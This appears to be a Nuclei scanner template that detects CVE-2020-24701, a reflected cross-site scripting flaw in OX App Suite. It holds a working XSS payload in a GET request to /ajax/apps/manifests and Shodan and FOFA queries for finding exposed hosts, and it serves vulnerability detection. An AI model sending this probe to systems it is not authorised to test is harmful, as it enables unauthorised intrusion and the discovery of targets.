id: CVE-2020-24701

info:
  name: OX Appsuite - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    OX App Suite through 7.10.4 allows XSS via the app loading mechanism (the PATH_INFO to the /appsuite URI).
  reference:
    - https://packetstormsecurity.com/files/163527/OX-App-Suite-OX-Guard-OX-Documents-SSRF-Cross-Site-Scripting.html
    - https://seclists.org/fulldisclosure/2021/Jul/33
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24701
    - https://www.open-xchange.com
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24701
    cwe-id: CWE-79
    epss-score: 0.35513
    epss-percentile: 0.96493
    cpe: cpe:2.3:a:open-xchange:open-xchange_appsuite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: open-xchange
    product: open-xchange_appsuite
    shodan-query:
      - html:"Appsuite"
      - http.html:"appsuite"
    fofa-query: body="appsuite"
  tags: cve,cve2020,packetstorm,seclists,appsuite,xss,open-xchange

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request with action all'
          - '<script>alert(document.domain);</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206a5a7b1f3144090ba87b4854b58dc7aa780b4170d7add06271f031ce13607f0b022100a5fff929ba73a8a67375ec76afbc7bd537b1922f55a1a6dae63d074e9e84bc61:922c64590222798bb761d5b6d8e72950